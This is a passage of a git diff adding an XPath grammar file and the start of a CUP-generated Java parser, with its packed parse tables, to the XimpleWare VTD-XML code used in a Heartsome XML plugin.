NodeTest tempNt; + LocationPathExpr tempLPExpr; + public parser (java.io.Reader input) { + super(new Yylex(input)); + } + public parser (java.io.InputStream input) { + super(new Yylex(input)); + } + + public static void main(String args[]){ + try { + parser p = new parser(System.in); + Object result = p.parse().value; + //System.out.println(((Expr)result).evalNumber(null)); + System.out.println(((Expr)result)); + } + catch (Exception e) { + System.out.println("caught: "+e); + } + } + + public void report_error(String message, Object info) { + //throw new XPathParseException("Syntax error during parsing"); + } + + public void report_fatal_error(String message, Object info) throws XPathParseException{ + throw new XPathParseException("Syntax error during parsing: "+ message); + } + + public void syntax_error(Symbol cur_token) { + + } + + public void unrecovered_syntax_error(Symbol cur_token) throws XPathParseException{ + throw new XPathParseException("XPath Syntax error: "+cur_token); + } + :}; + +terminal ADD, SUB, DOT, DDOT, AT, COMMA, LP, RP, LB, RB, GT, LT, GE, LE, EQ, NE; +terminal MULT, SLASH, DSLASH, DIV, MOD, AND, OR, UNION, UMINUS, DOLLAR; +terminal Double NUMBER; +terminal String LITERAL; + +terminal FuncName FNAME; +terminal Ntest NTEST; +terminal NameType NAME; +terminal AxisType AXISNAME; + +non terminal VariableReference; +non terminal FuncExpr FunctionCall; +non terminal FuncName FunctionName; +non terminal Expr Expr, OrExpr, EqualityExpr, AndExpr, RelationalExpr, AdditiveExpr; +non terminal Expr MultiplicativeExpr, UnaryExpr, UnionExpr, PathExpr, FilterExpr; +non terminal Alist ArgumentList; +non terminal Expr PrimaryExpr, FunctionCal, Argument; +non terminal LocationPathExpr LocationPath ; +non terminal AxisType AxisSpecifier, AbbreviatedAxisSpecifier; +non terminal NodeTest nodetest ; +non terminal Step Step, AbbreviatedStep, RelativeLocationPath, AbsoluteLocationPath; +non terminal Step AbbreviatedAbsoluteLocationPath, AbbreviatedRelativeLocationPath; +non terminal Predicate PredicateList, Predicate; + +precedence left OR; +precedence left AND; +precedence left EQ, NE; +precedence left GE, LE, GT, LT; +precedence nonassoc UMINUS; + +Expr ::= OrExpr:o + {: RESULT = o; :} + ; + +OrExpr ::= AndExpr:a + {: RESULT = a; :} + | OrExpr:o OR AndExpr:a + {: RESULT = new BinaryExpr(o,BinaryExpr.OR,a);:} + ; +AndExpr ::= EqualityExpr: ee + {: RESULT = ee; :} + | AndExpr:a AND EqualityExpr:ee + {: RESULT = new BinaryExpr(a, BinaryExpr.AND, ee); :} + ; + +EqualityExpr ::= RelationalExpr:re + {: RESULT = re; :} + | EqualityExpr:ee EQ RelationalExpr:re + {: RESULT = new BinaryExpr(ee, BinaryExpr.EQ, re); :} + | EqualityExpr:ee NE RelationalExpr:re + {: RESULT = new BinaryExpr(ee, BinaryExpr.NE, re); :} + ; + +RelationalExpr ::= AdditiveExpr:ae + {: RESULT = ae; :} + | RelationalExpr:re LT AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.LT, ae); :} + | RelationalExpr:re GT AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.GT, ae); :} + | RelationalExpr:re LE AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.LE, ae); :} + | RelationalExpr:re GE AdditiveExpr:ae + {: RESULT = new BinaryExpr(re, BinaryExpr.GE, ae); :} + ; + +AdditiveExpr ::= MultiplicativeExpr:me + {: RESULT = me; :} + | AdditiveExpr:ae ADD MultiplicativeExpr:me + {: RESULT = new BinaryExpr(ae, BinaryExpr.ADD, me); :} + | AdditiveExpr:ae SUB MultiplicativeExpr:me + {: RESULT = new BinaryExpr(ae, BinaryExpr.SUB, me); :} + ; + +MultiplicativeExpr ::= UnaryExpr:ue + {: RESULT = ue; :} + | MultiplicativeExpr:me MULT UnaryExpr:ue + {: RESULT = new BinaryExpr(me, BinaryExpr.MULT, ue); :} + | MultiplicativeExpr:me DIV UnaryExpr:ue + {: RESULT = new BinaryExpr(me, BinaryExpr.DIV, ue); :} + | MultiplicativeExpr:me MOD UnaryExpr:ue + {: RESULT = new BinaryExpr(me, BinaryExpr.MOD, ue); :} + ; + +UnaryExpr ::= UnionExpr:ue + {: RESULT = ue; :} + | SUB UnaryExpr:ue + {: RESULT = new UnaryExpr( BinaryExpr.SUB, ue); :} + %prec UMINUS + ; + + +UnionExpr ::= PathExpr:pe + {: RESULT = pe; :} + | UnionExpr:une UNION PathExpr:pe + {: RESULT = new BinaryExpr(une, BinaryExpr.UNION, pe); + //throw new XPathParseException("Union not yet supported"); + :} + ; + + +PathExpr ::= LocationPath:lp + {: RESULT = lp; :} + | FilterExpr:fe + {: RESULT = fe; :} + | FilterExpr:fe SLASH RelativeLocationPath:rlp + {: parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(rlp); + RESULT = new PathExpr(fe, parser.tempLPExpr); + :} + | FilterExpr:fe DSLASH RelativeLocationPath:rlp + {: parser.tempStep = new Step(); + + parser.tempStep.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep.setNodeTest(parser.tempNt); + + parser.tempStep.setNextStep(rlp); + rlp.setPrevStep(parser.tempStep); + + /*parser.tempStep2 = new Step(); + parser.tempNt = new NodeTest(); + parser.tempStep2.setAxisType(AxisType.SELF); + parser.tempNt.setTestType(NodeTest.NODE); + + parser.tempStep2.setNodeTest(parser.tempNt); + + parser.tempStep2.setNextStep(parser.tempStep); + parser.tempStep.setPrevStep(parser.tempStep2);*/ + + parser.tempLPExpr = new LocationPathExpr(); + parser.tempLPExpr.setStep(parser.tempStep); + RESULT = new PathExpr(fe, parser.tempLPExpr); + :} + ; + +FilterExpr ::= PrimaryExpr:pe + {: RESULT = pe; :} + | FilterExpr:fe Predicate:p + {: RESULT = new FilterExpr(fe, p);:} + ; + +PrimaryExpr ::= VariableReference + | LP Expr:e RP + {: RESULT = e; :} + | LITERAL:le + {: RESULT = new LiteralExpr(le); :} + | NUMBER:ne + {: RESULT = new NumExpr(ne.doubleValue()); :} + | FunctionCall:fc + {: RESULT = fc; :} + ; + +FunctionCall ::= FunctionName:fn LP ArgumentList:al RP + {: RESULT = new FuncExpr(fn.i, al); :} + + ; + +ArgumentList ::= + {: RESULT = null; :} + | Argument:a + {: RESULT = new Alist(); + RESULT.e = a; :} + | Argument:a COMMA ArgumentList:al + {: RESULT = new Alist(); + RESULT.e = a; + RESULT.next = al; + :} + ; + +Argument ::= Expr:e + {: RESULT = e; :} + ; + + +LocationPath ::= RelativeLocationPath:rlp + {: RESULT = new LocationPathExpr(); + RESULT.setStep(rlp); + :} + | AbsoluteLocationPath:alp + {: RESULT = new LocationPathExpr(); + RESULT.setPathType(LocationPathExpr.ABSOLUTE_PATH); + //System.out.println(" absolute "); + RESULT.setStep(alp); + //startStep = currentStep=null; + :} + ; + +AbsoluteLocationPath ::= SLASH + {: RESULT = null; :} + | SLASH RelativeLocationPath:rlp + {: RESULT = rlp; :} + | AbbreviatedAbsoluteLocationPath:aalp + {: RESULT = aalp; :} + ; + +RelativeLocationPath ::= Step:s + {: RESULT = s; :} + | Step:s SLASH RelativeLocationPath:rlp + {: //if (s == rlp) throw new XPathParseException("$1 = $3!!!!"); + s.nextS = rlp; + rlp.prevS = s; + RESULT= s; + :} + | AbbreviatedRelativeLocationPath:arlp + {: RESULT = arlp; :} + ; + +Step ::= AxisSpecifier:as nodetest:nt PredicateList:pl + {: RESULT = new Step(); + RESULT.setAxisType(as.i); + RESULT.setNodeTest(nt); + RESULT.setPredicate(pl); + System.out.println(" Step 3 "); + :} + | AbbreviatedStep:as + {: RESULT = as; :} + ; + + +nodetest ::= NAME:n + {: RESULT = new NodeTest(); + RESULT.setTestType(NodeTest.NAMETEST); + RESULT.setNodeName(n.qname); + :} + | NTEST:n2 + {: RESULT = new NodeTest(); + RESULT.setTestType(n2.i); + :} + ; + +PredicateList ::= + {: RESULT = null; + :} + | Predicate:p PredicateList:pl + {: p.nextP = pl; + RESULT = p; + :} + ; + +AxisSpecifier ::= AXISNAME:an + {: RESULT = an; :} + | AbbreviatedAxisSpecifier:aas + {: RESULT = aas;:} + ; + +AbbreviatedAxisSpecifier ::= + {: RESULT = new AxisType(); RESULT.i = AxisType.CHILD; :} + | AT + {: RESULT = new AxisType(); RESULT.i = AxisType.ATTRIBUTE; :} + ; + +AbbreviatedStep ::= DOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.SELF); + RESULT.setNodeTest(parser.tempNt); + :} + + | DDOT + {: RESULT = new Step(); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setAxisType(AxisType.PARENT); + RESULT.setNodeTest(parser.tempNt); + :} + ; + +AbbreviatedAbsoluteLocationPath ::= DSLASH RelativeLocationPath:rlp + {: + RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + :} + ; + +AbbreviatedRelativeLocationPath ::= Step:s DSLASH RelativeLocationPath:rlp + {: RESULT = new Step(); + RESULT.setAxisType(AxisType.DESCENDANT_OR_SELF); + parser.tempNt = new NodeTest(); + + parser.tempNt.setTestType(NodeTest.NODE); + RESULT.setNodeTest(parser.tempNt); + s.setNextStep(RESULT); + RESULT.setPrevStep(s); + RESULT.setNextStep(rlp); + rlp.setPrevStep(RESULT); + RESULT = s; + :} + ; + + +Predicate ::= LB Expr:e RB + {: RESULT = new Predicate(); + RESULT.expr= e; + :} + ; + + +VariableReference ::= DOLLAR NAME + ; + +FunctionName ::= FNAME :fn + {: RESULT = fn; :} + ; diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/parser.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/parser.java new file mode 100644 index 0000000..b7dfac7 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/xpath/parser.java @@ -0,0 +1,1489 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +//---------------------------------------------------- +// The following code was generated by CUP v0.10k +// Fri Sep 25 13:10:55 PDT 2009 +//---------------------------------------------------- + +package com.ximpleware.extended.xpath; + +import java_cup.runtime.*; +import com.ximpleware.extended.*; +import java.util.*; + +/** CUP v0.10k generated parser. + * @version Fri Sep 25 13:10:55 PDT 2009 + */ +public class parser extends java_cup.runtime.lr_parser { + + /** Default constructor. */ + public parser() {super();} + + /** Constructor which sets the default scanner. */ + public parser(java_cup.runtime.Scanner s) {super(s);} + + /** Production table. */ + protected static final short _production_table[][] = + unpackFromStrings(new String[] { + "\000\102\000\002\005\003\000\002\002\004\000\002\006" + + "\003\000\002\006\005\000\002\010\003\000\002\010\005" + + "\000\002\007\003\000\002\007\005\000\002\007\005\000" + + "\002\011\003\000\002\011\005\000\002\011\005\000\002" + + "\011\005\000\002\011\005\000\002\012\003\000\002\012" + + "\005\000\002\012\005\000\002\013\003\000\002\013\005" + + "\000\002\013\005\000\002\013\005\000\002\014\003\000" + + "\002\014\004\000\002\020\003\000\002\020\005\000\002" + + "\015\003\000\002\015\003\000\002\015\005\000\002\015" + + "\005\000\002\016\003\000\002\016\004\000\002\022\003" + + "\000\002\022\005\000\002\022\003\000\002\022\003\000" + + "\002\022\003\000\002\003\006\000\002\021\002\000\002" + + "\021\003\000\002\021\005\000\002\023\003\000\002\024" + + "\003\000\002\024\003\000\002\033\003\000\002\033\004" + + "\000\002\033\003\000\002\032\003\000\002\032\005\000" + + "\002\032\003\000\002\030\005\000\002\030\003\000\002" + + "\027\003\000\002\027\003\000\002\037\002\000\002\037" + + "\004\000\002\025\003\000\002\025\003\000\002\026\002" + + "\000\002\026\003\000\002\031\003\000\002\031\003\000" + + "\002\034\004\000\002\035\005\000\002\036\005\000\002" + + "\017\004\000\002\004\003" }); + + /** Access to production table. */ + public short[][] production_table() {return _production_table;} + + /** Parse-action table. */ + protected static final short[][] _action_table = + unpackFromStrings(new String[] { + "\000\141\000\036\005\045\006\021\007\017\010\042\012" + + "\016\025\004\026\006\035\037\036\032\037\036\040\024" + + "\041\uffc8\042\uffc8\043\043\001\002\000\062\002\uffd6\004" + + "\uffd6\005\uffd6\006\021\007\017\010\042\011\uffd6\013\uffd6" + + "\015\uffd6\016\uffd6\017\uffd6\020\uffd6\021\uffd6\022\uffd6\023" + + "\uffd6\024\uffd6\027\uffd6\030\uffd6\031\uffd6\032\uffd6\033\uffd6" + + "\041\uffc8\042\uffc8\043\043\001\002\000\032\002\ufffb\011" + + "\ufffb\013\ufffb\015\ufffb\016\120\017\117\020\122\021\121" + + "\022\ufffb\023\ufffb\031\ufffb\032\ufffb\001\002\000\016\006" + + "\021\007\017\010\042\041\uffc8\042\uffc8\043\043\001\002" + + "\000\046\002\uffd4\004\uffd4\005\uffd4\011\uffd4\013\uffd4\015" + + "\uffd4\016\uffd4\017\uffd4\020\uffd4\021\uffd4\022\uffd4\023\uffd4" + + "\024\uffd4\027\uffd4\030\uffd4\031\uffd4\032\uffd4\033\uffd4\001" + + "\002\000\054\002\uffde\004\uffde\005\uffde\011\uffde\013\uffde" + + "\014\uffde\015\uffde\016\uffde\017\uffde\020\uffde\021\uffde\022" + + "\uffde\023\uffde\024\uffde\025\uffde\026\uffde\027\uffde\030\uffde" + + "\031\uffde\032\uffde\033\uffde\001\002\000\016\002\uffff\011" + + "\uffff\013\uffff\015\uffff\031\132\032\uffff\001\002\000\006" + + "\041\136\042\134\001\002\000\006\041\uffc9\042\uffc9\001" + + "\002\000\014\002\001\011\001\013\001\015\001\032\130" + + "\001\002\000\022\002\ufffd\011\ufffd\013\ufffd\015\ufffd\022" + + "\114\023\115\031\ufffd\032\ufffd\001\002\000\036\005\045" + + "\006\021\007\017\010\042\012\016\025\004\026\006\035" + + "\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043\043" + + "\001\002\000\052\002\uffc5\004\uffc5\005\uffc5\011\uffc5\013" + + "\uffc5\015\uffc5\016\uffc5\017\uffc5\020\uffc5\021\uffc5\022\uffc5" + + "\023\uffc5\024\uffc5\025\uffc5\026\uffc5\027\uffc5\030\uffc5\031" + + "\uffc5\032\uffc5\033\uffc5\001\002\000\046\002\uffd7\004\uffd7" + + "\005\uffd7\011\uffd7\013\uffd7\015\uffd7\016\uffd7\017\uffd7\020" + + "\uffd7\021\uffd7\022\uffd7\023\uffd7\024\uffd7\027\uffd7\030\uffd7" + + "\031\uffd7\032\uffd7\033\uffd7\001\002\000\052\002\uffc6\004" + + "\uffc6\005\uffc6\011\uffc6\013\uffc6\015\uffc6\016\uffc6\017\uffc6" + + "\020\uffc6\021\uffc6\022\uffc6\023\uffc6\024\uffc6\025\uffc6\026" + + "\uffc6\027\uffc6\030\uffc6\031\uffc6\032\uffc6\033\uffc6\001\002" + + "\000\036\002\ufff8\004\107\005\106\011\ufff8\013\ufff8\015" + + "\ufff8\016\ufff8\017\ufff8\020\ufff8\021\ufff8\022\ufff8\023\ufff8" + + "\031\ufff8\032\ufff8\001\002\000\044\002\ufff0\004\ufff0\005" + + "\ufff0\011\ufff0\013\ufff0\015\ufff0\016\ufff0\017\ufff0\020\ufff0" + + "\021\ufff0\022\ufff0\023\ufff0\024\ufff0\027\ufff0\030\ufff0\031" + + "\ufff0\032\ufff0\001\002\000\004\012\uffc0\001\002\000\004" + + "\012\077\001\002\000\052\002\uffd3\004\uffd3\005\uffd3\011" + + "\uffd3\013\uffd3\015\uffd3\016\uffd3\017\uffd3\020\uffd3\021\uffd3" + + "\022\uffd3\023\uffd3\024\uffd3\025\074\026\073\027\uffd3\030" + + "\uffd3\031\uffd3\032\uffd3\033\uffd3\001\002\000\046\002\uffe8" + + "\004\uffe8\005\uffe8\011\uffe8\013\uffe8\015\uffe8\016\uffe8\017" + + "\uffe8\020\uffe8\021\uffe8\022\uffe8\023\uffe8\024\uffe8\027\uffe8" + + "\030\uffe8\031\uffe8\032\uffe8\033\uffe8\001\002\000\054\002" + + "\uffe4\004\uffe4\005\uffe4\011\uffe4\013\uffe4\014\uffe4\015\uffe4" + + "\016\uffe4\017\uffe4\020\uffe4\021\uffe4\022\uffe4\023\uffe4\024" + + "\uffe4\025\uffe4\026\uffe4\027\uffe4\030\uffe4\031\uffe4\032\uffe4" + + "\033\uffe4\001\002\000\046\002\uffea\004\uffea\005\uffea\011" + + "\uffea\013\uffea\015\uffea\016\uffea\017\uffea\020\uffea\021\uffea" + + "\022\uffea\023\uffea\024\uffea\027\uffea\030\uffea\031\uffea\032" + + "\uffea\033\071\001\002\000\054\002\uffdf\004\uffdf\005\uffdf" + + "\011\uffdf\013\uffdf\014\uffdf\015\uffdf\016\uffdf\017\uffdf\020" + + "\uffdf\021\uffdf\022\uffdf\023\uffdf\024\uffdf\025\uffdf\026\uffdf" + + "\027\uffdf\030\uffdf\031\uffdf\032\uffdf\033\uffdf\001\002\000" + + "\054\002\uffe2\004\uffe2\005\uffe2\011\uffe2\013\uffe2\014\uffe2" + + "\015\uffe2\016\uffe2\017\uffe2\020\uffe2\021\uffe2\022\uffe2\023" + + "\uffe2\024\uffe2\025\uffe2\026\uffe2\027\uffe2\030\uffe2\031\uffe2" + + "\032\uffe2\033\uffe2\001\002\000\054\002\uffe7\004\uffe7\005" + + "\uffe7\011\uffe7\013\uffe7\014\064\015\uffe7\016\uffe7\017\uffe7" + + "\020\uffe7\021\uffe7\022\uffe7\023\uffe7\024\uffe7\025\063\026" + + "\062\027\uffe7\030\uffe7\031\uffe7\032\uffe7\033\uffe7\001\002" + + "\000\004\002\060\001\002\000\054\002\uffe0\004\uffe0\005" + + "\uffe0\011\uffe0\013\uffe0\014\uffe0\015\uffe0\016\uffe0\017\uffe0" + + "\020\uffe0\021\uffe0\022\uffe0\023\uffe0\024\uffe0\025\uffe0\026" + + "\uffe0\027\uffe0\030\uffe0\031\uffe0\032\uffe0\033\uffe0\001\002" + + "\000\004\042\057\001\002\000\046\002\uffd1\004\uffd1\005" + + "\uffd1\011\uffd1\013\uffd1\015\uffd1\016\uffd1\017\uffd1\020\uffd1" + + "\021\uffd1\022\uffd1\023\uffd1\024\uffd1\027\uffd1\030\uffd1\031" + + "\uffd1\032\uffd1\033\uffd1\001\002\000\052\002\uffcf\004\uffcf" + + "\005\uffcf\011\uffcf\013\uffcf\015\uffcf\016\uffcf\017\uffcf\020" + + "\uffcf\021\uffcf\022\uffcf\023\uffcf\024\uffcf\025\uffcf\026\uffcf" + + "\027\uffcf\030\uffcf\031\uffcf\032\uffcf\033\uffcf\001\002\000" + + "\006\041\uffc7\042\uffc7\001\002\000\006\041\uffca\042\uffca" + + "\001\002\000\044\002\uffec\004\uffec\005\uffec\011\uffec\013" + + "\uffec\015\uffec\016\uffec\017\uffec\020\uffec\021\uffec\022\uffec" + + "\023\uffec\024\uffec\027\uffec\030\uffec\031\uffec\032\uffec\001" + + "\002\000\036\005\045\006\021\007\017\010\042\012\016" + + "\025\004\026\006\035\037\036\032\037\036\040\024\041" + + "\uffc8\042\uffc8\043\043\001\002\000\044\002\ufff3\004\ufff3" + + "\005\ufff3\011\ufff3\013\ufff3\015\ufff3\016\ufff3\017\ufff3\020" + + "\ufff3\021\ufff3\022\ufff3\023\ufff3\024\051\027\052\030\050" + + "\031\ufff3\032\ufff3\001\002\000\046\002\uffd8\004\uffd8\005" + + "\uffd8\011\uffd8\013\uffd8\015\uffd8\016\uffd8\017\uffd8\020\uffd8" + + "\021\uffd8\022\uffd8\023\uffd8\024\uffd8\027\uffd8\030\uffd8\031" + + "\uffd8\032\uffd8\033\uffd8\001\002\000\036\005\045\006\021" + + "\007\017\010\042\012\016\025\004\026\006\035\037\036" + + "\032\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002" + + "\000\036\005\045\006\021\007\017\010\042\012\016\025" + + "\004\026\006\035\037\036\032\037\036\040\024\041\uffc8" + + "\042\uffc8\043\043\001\002\000\036\005\045\006\021\007" + + "\017\010\042\012\016\025\004\026\006\035\037\036\032" + + "\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002\000" + + "\044\002\uffee\004\uffee\005\uffee\011\uffee\013\uffee\015\uffee" + + "\016\uffee\017\uffee\020\uffee\021\uffee\022\uffee\023\uffee\024" + + "\uffee\027\uffee\030\uffee\031\uffee\032\uffee\001\002\000\044" + + "\002\uffef\004\uffef\005\uffef\011\uffef\013\uffef\015\uffef\016" + + "\uffef\017\uffef\020\uffef\021\uffef\022\uffef\023\uffef\024\uffef" + + "\027\uffef\030\uffef\031\uffef\032\uffef\001\002\000\044\002" + + "\uffed\004\uffed\005\uffed\011\uffed\013\uffed\015\uffed\016\uffed" + + "\017\uffed\020\uffed\021\uffed\022\uffed\023\uffed\024\uffed\027" + + "\uffed\030\uffed\031\uffed\032\uffed\001\002\000\044\002\uffeb" + + "\004\uffeb\005\uffeb\011\uffeb\013\uffeb\015\uffeb\016\uffeb\017" + + "\uffeb\020\uffeb\021\uffeb\022\uffeb\023\uffeb\024\uffeb\027\uffeb" + + "\030\uffeb\031\uffeb\032\uffeb\001\002\000\054\002\uffc1\004" + + "\uffc1\005\uffc1\011\uffc1\013\uffc1\014\uffc1\015\uffc1\016\uffc1" + + "\017\uffc1\020\uffc1\021\uffc1\022\uffc1\023\uffc1\024\uffc1\025" + + "\uffc1\026\uffc1\027\uffc1\030\uffc1\031\uffc1\032\uffc1\033\uffc1" + + "\001\002\000\004\002\000\001\002\000\054\002\uffe3\004" + + "\uffe3\005\uffe3\011\uffe3\013\uffe3\014\uffe3\015\uffe3\016\uffe3" + + "\017\uffe3\020\uffe3\021\uffe3\022\uffe3\023\uffe3\024\uffe3\025" + + "\uffe3\026\uffe3\027\uffe3\030\uffe3\031\uffe3\032\uffe3\033\uffe3" + + "\001\002\000\016\006\021\007\017\010\042\041\uffc8\042" + + "\uffc8\043\043\001\002\000\016\006\021\007\017\010\042" + + "\041\uffc8\042\uffc8\043\043\001\002\000\036\005\045\006" + + "\021\007\017\010\042\012\016\025\004\026\006\035\037" + + "\036\032\037\036\040\024\041\uffc8\042\uffc8\043\043\001" + + "\002\000\004\015\066\001\002\000\054\002\uffc2\004\uffc2" + + "\005\uffc2\011\uffc2\013\uffc2\014\uffc2\015\uffc2\016\uffc2\017" + + "\uffc2\020\uffc2\021\uffc2\022\uffc2\023\uffc2\024\uffc2\025\uffc2" + + "\026\uffc2\027\uffc2\030\uffc2\031\uffc2\032\uffc2\033\uffc2\001" + + "\002\000\046\002\uffe6\004\uffe6\005\uffe6\011\uffe6\013\uffe6" + + "\015\uffe6\016\uffe6\017\uffe6\020\uffe6\021\uffe6\022\uffe6\023" + + "\uffe6\024\uffe6\027\uffe6\030\uffe6\031\uffe6\032\uffe6\033\uffe6" + + "\001\002\000\046\002\uffe5\004\uffe5\005\uffe5\011\uffe5\013" + + "\uffe5\015\uffe5\016\uffe5\017\uffe5\020\uffe5\021\uffe5\022\uffe5" + + "\023\uffe5\024\uffe5\027\uffe5\030\uffe5\031\uffe5\032\uffe5\033" + + "\uffe5\001\002\000\034\006\021\007\017\010\042\012\016" + + "\025\004\026\006\035\037\036\032\037\036\040\024\041" + + "\uffc8\042\uffc8\043\043\001\002\000\044\002\uffe9\004\uffe9" + + "\005\uffe9\011\uffe9\013\uffe9\015\uffe9\016\uffe9\017\uffe9\020" + + "\uffe9\021\uffe9\022\uffe9\023\uffe9\024\uffe9\027\uffe9\030\uffe9" + + "\031\uffe9\032\uffe9\001\002\000\016\006\021\007\017\010" + + "\042\041\uffc8\042\uffc8\043\043\001\002\000\016\006\021" + + "\007\017\010\042\041\uffc8\042\uffc8\043\043\001\002\000" + + "\046\002\uffd2\004\uffd2\005\uffd2\011\uffd2\013\uffd2\015\uffd2" + + "\016\uffd2\017\uffd2\020\uffd2\021\uffd2\022\uffd2\023\uffd2\024" + + "\uffd2\027\uffd2\030\uffd2\031\uffd2\032\uffd2\033\uffd2\001\002" + + "\000\046\002\uffc3\004\uffc3\005\uffc3\011\uffc3\013\uffc3\015" + + "\uffc3\016\uffc3\017\uffc3\020\uffc3\021\uffc3\022\uffc3\023\uffc3" + + "\024\uffc3\027\uffc3\030\uffc3\031\uffc3\032\uffc3\033\uffc3\001" + + "\002\000\040\005\045\006\021\007\017\010\042\012\016" + + "\013\uffdc\025\004\026\006\035\037\036\032\037\036\040" + + "\024\041\uffc8\042\uffc8\043\043\001\002\000\004\013\105" + + "\001\002\000\006\011\103\013\uffdb\001\002\000\006\011" + + "\uffd9\013\uffd9\001\002\000\040\005\045\006\021\007\017" + + "\010\042\012\016\013\uffdc\025\004\026\006\035\037\036" + + "\032\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002" + + "\000\004\013\uffda\001\002\000\054\002\uffdd\004\uffdd\005" + + "\uffdd\011\uffdd\013\uffdd\014\uffdd\015\uffdd\016\uffdd\017\uffdd" + + "\020\uffdd\021\uffdd\022\uffdd\023\uffdd\024\uffdd\025\uffdd\026" + + "\uffdd\027\uffdd\030\uffdd\031\uffdd\032\uffdd\033\uffdd\001\002" + + "\000\036\005\045\006\021\007\017\010\042\012\016\025" + + "\004\026\006\035\037\036\032\037\036\040\024\041\uffc8" + + "\042\uffc8\043\043\001\002\000\036\005\045\006\021\007" + + "\017\010\042\012\016\025\004\026\006\035\037\036\032" + + "\037\036\040\024\041\uffc8\042\uffc8\043\043\001\002\000" + + "\044\002\ufff2\004\ufff2\005\ufff2\011\ufff2\013\ufff2\015\ufff2" + + "\016\ufff2\017\ufff2\020\ufff2\021\ufff2\022\ufff2\023\ufff2\024" + + "\051\027\052\030\050\031\ufff2\032\ufff2\001\002\000\044" + + "\002\ufff1\004\ufff1\005\ufff1\011\ufff1\013\ufff1\015\ufff1\016" + + "\ufff1\017\ufff1\020\ufff1\021\ufff1\022\ufff1\023\ufff1\024\051" + + "\027\052\030\050\031\ufff1\032\ufff1\001\002\000\004\013" + + "\113\001\002\000\054\002\uffe1\004\uffe1\005\uffe1\011\uffe1" + + "\013\uffe1\014\uffe1\015\uffe1\016\uffe1\017\uffe1\020\uffe1\021" + + "\uffe1\022\uffe1\023\uffe1\024\uffe1\025\uffe1\026\uffe1\027\uffe1" + + "\030\uffe1\031\uffe1\032\uffe1\033\uffe1\001\002\000\036\005" + + "\045\006\021\007\017\010\042\012\016\025\004\026\006" + + "\035\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043" + + "\043\001\002\000\036\005\045\006\021\007\017\010\042" + + "\012\016\025\004\026\006\035\037\036\032\037\036\040" + + "\024\041\uffc8\042\uffc8\043\043\001\002\000\032\002\ufff9" + + "\011\ufff9\013\ufff9\015\ufff9\016\120\017\117\020\122\021" + + "\121\022\ufff9\023\ufff9\031\ufff9\032\ufff9\001\002\000\036" + + "\005\045\006\021\007\017\010\042\012\016\025\004\026" + + "\006\035\037\036\032\037\036\040\024\041\uffc8\042\uffc8" + + "\043\043\001\002\000\036\005\045\006\021\007\017\010" + + "\042\012\016\025\004\026\006\035\037\036\032\037\036" + + "\040\024\041\uffc8\042\uffc8\043\043\001\002\000\036\005" + + "\045\006\021\007\017\010\042\012\016\025\004\026\006" + + "\035\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043" + + "\043\001\002\000\036\005\045\006\021\007\017\010\042" + + "\012\016\025\004\026\006\035\037\036\032\037\036\040" + + "\024\041\uffc8\042\uffc8\043\043\001\002\000\036\002\ufff4" + + "\004\107\005\106\011\ufff4\013\ufff4\015\ufff4\016\ufff4\017" + + "\ufff4\020\ufff4\021\ufff4\022\ufff4\023\ufff4\031\ufff4\032\ufff4" + + "\001\002\000\036\002\ufff5\004\107\005\106\011\ufff5\013" + + "\ufff5\015\ufff5\016\ufff5\017\ufff5\020\ufff5\021\ufff5\022\ufff5" + + "\023\ufff5\031\ufff5\032\ufff5\001\002\000\036\002\ufff6\004" + + "\107\005\106\011\ufff6\013\ufff6\015\ufff6\016\ufff6\017\ufff6" + + "\020\ufff6\021\ufff6\022\ufff6\023\ufff6\031\ufff6\032\ufff6\001" + + "\002\000\036\002\ufff7\004\107\005\106\011\ufff7\013\ufff7" + + "\015\ufff7\016\ufff7\017\ufff7\020\ufff7\021\ufff7\022\ufff7\023" + + "\ufff7\031\ufff7\032\ufff7\001\002\000\032\002\ufffa\011\ufffa" + + "\013\ufffa\015\ufffa\016\120\017\117\020\122\021\121\022" + + "\ufffa\023\ufffa\031\ufffa\032\ufffa\001\002\000\036\005\045" + + "\006\021\007\017\010\042\012\016\025\004\026\006\035" + + "\037\036\032\037\036\040\024\041\uffc8\042\uffc8\043\043" + + "\001\002\000\016\002\ufffe\011\ufffe\013\ufffe\015\ufffe\031" + + "\132\032\ufffe\001\002\000\036\005\045\006\021\007\017" + + "\010\042\012\016\025\004\026\006\035\037\036\032\037" + + "\036\040\024\041\uffc8\042\uffc8\043\043\001\002\000\022" + + "\002\ufffc\011\ufffc\013\ufffc\015\ufffc\022\114\023\115\031" + + "\ufffc\032\ufffc\001\002\000\054\002\uffce\004\uffce\005\uffce" + + "\011\uffce\013\uffce\014\uffce\015\uffce\016\uffce\017\uffce\020" + + 